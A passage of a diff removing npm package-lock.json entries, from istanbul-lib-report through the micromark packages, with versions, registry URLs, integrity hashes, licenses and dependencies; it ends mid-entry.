"node_modules/istanbul-lib-report": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^4.0.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/istanbul-reports": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "html-escaper": "^2.0.0", - "istanbul-lib-report": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/jackspeak": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.2.3.tgz", - "integrity": "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "@isaacs/cliui": "^9.0.0" - }, - "engines": { - "node": "20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/jiti": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", - "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", - "dev": true, - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/jose": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.1.tgz", - "integrity": "sha512-jUaKr1yrbfaImV7R2TN/b3IcZzsw38/chqMpo2XJ7i2F8AfM/lA4G1goC3JVEwg0H7UldTmSt3P68nt31W7/mw==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/panva" - } - }, - "node_modules/js-stringify": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", - "integrity": "sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jscpd": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/jscpd/-/jscpd-4.0.9.tgz", - "integrity": "sha512-fp6Sh42W3mIPoQgZmgYmKDLQzEDnnX2vaGlTN4haILkB2vsi+ewcCHEtWR/2CR/QbsBvAvsNo8U5Sa+p9aHiGw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jscpd/badge-reporter": "4.0.5", - "@jscpd/core": "4.0.5", - "@jscpd/finder": "4.0.5", - "@jscpd/html-reporter": "4.0.5", - "@jscpd/tokenizer": "4.0.5", - "colors": "^1.4.0", - "commander": "^5.0.0", - "fs-extra": "^11.2.0", - "jscpd-sarif-reporter": "4.0.7" - }, - "bin": { - "jscpd": "bin/jscpd" - } - }, - "node_modules/jscpd-sarif-reporter": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/jscpd-sarif-reporter/-/jscpd-sarif-reporter-4.0.7.tgz", - "integrity": "sha512-Q/VlfTI/Nbjc8dZ/2pDVIf1aRi2bM2CTYujcAoeYr7brRnS4o5ZeW86W8q7MM7cQu40gezlNckl+E9wKFSMFiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "colors": "^1.4.0", - "fs-extra": "^11.2.0", - "node-sarif-builder": "^3.4.0" - } - }, - "node_modules/jscpd/node_modules/commander": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", - "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/json-bigint": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", - "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", - "license": "MIT", - "dependencies": { - "bignumber.js": "^9.0.0" - } - }, - "node_modules/json-schema-to-ts": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", - "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.18.3", - "ts-algebra": "^2.0.0" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "license": "MIT" - }, - "node_modules/json-schema-typed": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", - "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", - "license": "BSD-2-Clause" - }, - "node_modules/json-stable-stringify": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.3.0.tgz", - "integrity": "sha512-qtYiSSFlwot9XHtF9bD9c7rwKjr+RecWT//ZnPvSmEjpV5mmPOCN4j8UjY5hbjNkOwZ/jQv3J6R1/pL7RwgMsg==", - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.4", - "isarray": "^2.0.5", - "jsonify": "^0.0.1", - "object-keys": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/json-with-bigint": { - "version": "3.5.7", - "resolved": "https://registry.npmjs.org/json-with-bigint/-/json-with-bigint-3.5.7.tgz", - "integrity": "sha512-7ei3MdAI5+fJPVnKlW77TKNKwQ5ppSzWvhPuSuINT/GYW9ZOC1eRKOuhV9yHG5aEsUPj9BBx5JIekkmoLHxZOw==", - "license": "MIT" - }, - "node_modules/json5": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - "dev": true, - "license": "MIT", - "bin": { - "json5": "lib/cli.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/jsonfile": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", - "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "universalify": "^2.0.0" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/jsonify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.1.tgz", - "integrity": "sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg==", - "license": "Public Domain", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/jsonrepair": { - "version": "3.14.0", - "resolved": "https://registry.npmjs.org/jsonrepair/-/jsonrepair-3.14.0.tgz", - "integrity": "sha512-tWPGKMZf/8UPim+fcW2EfcQ/d/7aKUrP6IECz9G3Tu6Q5dX0orSleqJ9z6sSw7qrQkjF8/Edo4DvsWBZ8H+HNg==", - "license": "ISC", - "bin": { - "jsonrepair": "bin/cli.js" - } - }, - "node_modules/jstransformer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", - "integrity": "sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-promise": "^2.0.0", - "promise": "^7.0.1" - } - }, - "node_modules/jstransformer/node_modules/is-promise": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", - "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/jwa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", - "license": "MIT", - "dependencies": { - "buffer-equal-constant-time": "^1.0.1", - "ecdsa-sig-formatter": "1.0.11", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/jws": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", - "license": "MIT", - "dependencies": { - "jwa": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/katex": { - "version": "0.16.45", - "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.45.tgz", - "integrity": "sha512-pQpZbdBu7wCTmQUh7ufPmLr0pFoObnGUoL/yhtwJDgmmQpbkg/0HSVti25Fu4rmd1oCR6NGWe9vqTWuWv3GcNA==", - "funding": [ - "https://opencollective.com/katex", - "https://github.com/sponsors/katex" - ], - "license": "MIT", - "dependencies": { - "commander": "^8.3.0" - }, - "bin": { - "katex": "cli.js" - } - }, - "node_modules/koffi": { - "version": "2.16.2", - "resolved": "https://registry.npmjs.org/koffi/-/koffi-2.16.2.tgz", - "integrity": "sha512-owU0MRwv6xkrVqCd+33uw6BaYppkTRXbO/rVdJNI2dvZG0gzyRhYwW25eWtc5pauwK8TGh3AbkFONSezdykfSA==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "funding": { - "url": "https://liberapay.com/Koromix" - } - }, - "node_modules/leac": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/leac/-/leac-0.6.0.tgz", - "integrity": "sha512-y+SqErxb8h7nE/fiEX07jsbuhrpO9lL8eca7/Y1nuWV2moNlXhyd59iDGcRf6moVyDMbmTNzL40SUyrFU/yDpg==", - "license": "MIT", - "funding": { - "url": "https://ko-fi.com/killymxi" - } - }, - "node_modules/lodash": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", - "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", - "license": "MIT" - }, - "node_modules/lodash.camelcase": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", - "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", - "license": "MIT" - }, - "node_modules/lodash.snakecase": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", - "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", - "license": "MIT" - }, - "node_modules/log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/log-symbols/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/log-symbols/node_modules/is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, - "node_modules/lru-cache": { - "version": "11.2.6", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz", - "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==", - "license": "BlueOak-1.0.0", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/madge": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/madge/-/madge-8.0.0.tgz", - "integrity": "sha512-9sSsi3TBPhmkTCIpVQF0SPiChj1L7Rq9kU2KDG1o6v2XH9cCw086MopjVCD+vuoL5v8S77DTbVopTO8OUiQpIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "chalk": "^4.1.2", - "commander": "^7.2.0", - "commondir": "^1.0.1", - "debug": "^4.3.4", - "dependency-tree": "^11.0.0", - "ora": "^5.4.1", - "pluralize": "^8.0.0", - "pretty-ms": "^7.0.1", - "rc": "^1.2.8", - "stream-to-array": "^2.3.0", - "ts-graphviz": "^2.1.2", - "walkdir": "^0.4.1" - }, - "bin": { - "madge": "bin/cli.js" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "individual", - "url": "https://www.paypal.me/pahen" - }, - "peerDependencies": { - "typescript": "^5.4.4" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/madge/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/madge/node_modules/commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10" - } - }, - "node_modules/madge/node_modules/parse-ms": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz", - "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/madge/node_modules/pretty-ms": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-7.0.1.tgz", - "integrity": "sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "parse-ms": "^2.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/magic-bytes.js": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/magic-bytes.js/-/magic-bytes.js-1.13.0.tgz", - "integrity": "sha512-afO2mnxW7GDTXMm5/AoN1WuOcdoKhtgXjIvHmobqTD1grNplhGdv3PFOyjCVmrnOZBIT/gD/koDKpYG+0mvHcg==", - "license": "MIT" - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/magicast": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.2.tgz", - "integrity": "sha512-E3ZJh4J3S9KfwdjZhe2afj6R9lGIN5Pher1pF39UGrXRqq/VDaGVIGN13BjHd2u8B61hArAGOnso7nBOouW3TQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0", - "@babel/types": "^7.29.0", - "source-map-js": "^1.2.1" - } - }, - "node_modules/make-dir": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.5.3" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/markdown-table": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", - "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", - "dev": true, - "license": "MIT", - "dependencies": { - "repeat-string": "^1.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/markdownlint": { - "version": "0.40.0", - "resolved": "https://registry.npmjs.org/markdownlint/-/markdownlint-0.40.0.tgz", - "integrity": "sha512-UKybllYNheWac61Ia7T6fzuQNDZimFIpCg2w6hHjgV1Qu0w1TV0LlSgryUGzM0bkKQCBhy2FDhEELB73Kb0kAg==", - "license": "MIT", - "dependencies": { - "micromark": "4.0.2", - "micromark-core-commonmark": "2.0.3", - "micromark-extension-directive": "4.0.0", - "micromark-extension-gfm-autolink-literal": "2.1.0", - "micromark-extension-gfm-footnote": "2.1.0", - "micromark-extension-gfm-table": "2.1.1", - "micromark-extension-math": "3.1.0", - "micromark-util-types": "2.0.2", - "string-width": "8.1.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/DavidAnson" - } - }, - "node_modules/markdownlint/node_modules/string-width": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", - "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", - "license": "MIT", - "dependencies": { - "get-east-asian-width": "^1.3.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/marked": { - "version": "18.0.3", - "resolved": "https://registry.npmjs.org/marked/-/marked-18.0.3.tgz", - "integrity": "sha512-7VT90JOkDeaRWpfjOReRGPEKn0ecdARBkDGL+tT1wZY0efPPqkUxLUSmzy/C7TIylQYJC9STISEsCHrqb/7VIA==", - "license": "MIT", - "bin": { - "marked": "bin/marked.js" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/mdast-util-from-markdown": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", - "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "@types/unist": "^3.0.0", - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "mdast-util-to-string": "^4.0.0", - "micromark": "^4.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-decode-string": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0", - "unist-util-stringify-position": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-from-markdown/node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/mdast-util-to-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", - "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/media-typer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", - "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/merge-descriptors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", - "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/merge-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true, - "license": "MIT" - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromark": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", - "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "@types/debug": "^4.0.0", - "debug": "^4.0.0", - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "micromark-core-commonmark": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-combine-extensions": "^2.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-encode": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-resolve-all": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-subtokenize": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-core-commonmark": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", - "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "micromark-factory-destination": "^2.0.0", - "micromark-factory-label": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-factory-title": "^2.0.0", - "micromark-factory-whitespace": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-classify-character": "^2.0.0", - "micromark-util-html-tag-name": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-resolve-all": "^2.0.0", - "micromark-util-subtokenize": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-extension-directive": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/micromark-extension-directive/-/micromark-extension-directive-4.0.0.tgz", - "integrity": "sha512-/C2nqVmXXmiseSSuCdItCMho7ybwwop6RrrRPk0KbOHW21JKoCldC+8rFOaundDoRBUWBnJJcxeA/Kvi34WQXg==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-factory-whitespace": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0", - "parse-entities": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": 